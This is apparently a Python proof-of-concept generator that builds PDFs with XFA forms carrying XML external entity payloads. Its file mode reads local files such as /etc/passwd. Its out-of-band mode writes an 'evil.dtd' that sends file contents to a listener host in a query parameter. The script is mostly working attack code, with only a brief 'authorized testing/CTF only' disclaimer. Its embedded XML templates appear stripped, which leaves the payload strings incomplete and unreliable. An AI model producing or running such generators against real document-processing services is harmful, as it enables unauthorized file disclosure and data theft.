# xfa_xxe_poc_gen.py # Generate a PDF with a single-stream XFA form containing an XXE payload. # Modes: # --mode file : local file read (file://...) # --mode oob : out-of-band exfil using external DTD to bypass internal-subset PE rules (Xerces/Tika-safe) # # Examples: # python3 xfa_xxe_poc_gen.py --mode file --file /etc/passwd -o xfa_passwd.pdf # python3 xfa_xxe_poc_gen.py --mode oob --ip 127.0.0.1 --port 8888 --write-dtd -o xfa_oob.pdf # python3 xfa_xxe_poc_gen.py --mode oob --ip 10.10.14.3 --port 8080 --oob-file /etc/hostname --param d # # For authorized testing/CTF only. import argparse from pathlib import Path def build_valid_xfa_single_pdf(xfa_xml: str, out_path: str) -> None: parts = [] parts.append(b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n") xref_positions = [] def offset() -> int: return sum(len(p) for p in parts) def add_obj(num: int, body: bytes): xref_positions.append(offset()) parts.append(f"{num} 0 obj\n".encode("ascii")) parts.append(body) parts.append(b"\nendobj\n") add_obj(1, b"<< /Type /Catalog /Pages 2 0 R /AcroForm 4 0 R >>") add_obj(2, b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>") add_obj(3, b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << >> >>") x_bytes = xfa_xml.encode("utf-8") x_stream = f"<< /Length {len(x_bytes)} >>\nstream\n".encode("ascii") + x_bytes + b"\nendstream" add_obj(5, x_stream) add_obj(4, b"<< /NeedAppearances true /Fields [] /XFA 5 0 R >>") xref_start = offset() parts.append(b"xref\n") total = 5 parts.append(f"0 {total+1}\n".encode("ascii")) parts.append(b"0000000000 65535 f \n") for pos in xref_positions: parts.append(f"{pos:010d} 00000 n \n".encode("ascii")) parts.append( f"trailer\n<< /Size {total+1} /Root 1 0 R >>\nstartxref\n{xref_start}\n%%EOF\n".encode("ascii") ) with open(out_path, "wb") as f: f.write(b"".join(parts)) def build_file_read_xfa_xml(target_path: str) -> str: norm = target_path.replace("\\", "/") file_uri = f"file:///{norm.lstrip('/')}" return f""" ]> &xxe; """ def external_dtd_contents(ip: str, port: int, oob_file: str, param: str, scheme: str) -> str: oob_file_norm = oob_file.replace("\\", "/") oob_file_uri = f"file:///{oob_file_norm.lstrip('/')}" oob_url = f"{scheme}://{ip}:{port}/?{param}=%payload;" return f""" "> %make; """ def build_oob_xfa_xml(ip: str, port: int, param: str, scheme: str) -> str: dtd_url = f"{scheme}://{ip}:{port}/evil.dtd" return f""" %ext; ]> &exfil; """ def main(): p = argparse.ArgumentParser(description="Generate XFA XXE PoC PDF (single-stream XFA).") p.add_argument("--mode", choices=["file", "oob"], default="file", help="file = local file read, oob = out-of-band via external DTD") p.add_argument("--file", dest="filepath", default="/etc/hosts", help="Target file path (for --mode file). e.g. /etc/passwd or C:/Windows/win.ini") p.add_argument("--ip", default="127.0.0.1", help="Listener IP (for --mode oob)") p.add_argument("--port", type=int, default=8888, help="Listener port (for --mode oob)") p.add_argument("--scheme", default="http", choices=["http", "https"], help="Scheme for OOB endpoint") p.add_argument("--param", default="d", help="Query parameter key for exfil (default: d)") p.add_argument("--oob-file", default="/etc/hostname", help="Local file to read during OOB exfil (default: /etc/hostname)") p.add_argument("--write-dtd", action="store_true", help="Also write evil.dtd to the current directory (for hosting).") p.add_argument("-o", "--out", default=None, help="Output PDF filename") args = p.parse_args() if args.mode == "file": xfa_xml = build_file_read_xfa_xml(args.filepath) out = args.out or "xxe_xfa_single_file_ok.pdf" build_valid_xfa_single_pdf(xfa_xml, out) print(f"[+] Mode: file") print(f"[+] Target file : {args.filepath}") print(f"[+] Wrote : {out}") else: xfa_xml = build_oob_xfa_xml(args.ip, args.port, args.param, args.scheme) out = args.out or "xxe_xfa_single_oob_ok.pdf" build_valid_xfa_single_pdf(xfa_xml, out) print(f"[+] Mode: oob") print(f"[+] OOB DTD URL: {args.scheme}://{args.ip}:{args.port}/evil.dtd") print(f"[+] Param key : {args.param}") print(f"[+] Wrote : {out}") if args.write_dtd: dtd = external_dtd_contents(args.ip, args.port, args.oob_file, args.param, args.scheme) Path("evil.dtd").write_text(dtd, encoding="utf-8") print("[+] Wrote evil.dtd with contents:") print("----- evil.dtd -----") print(dtd) print("--------------------") if __name__ == "__main__": main()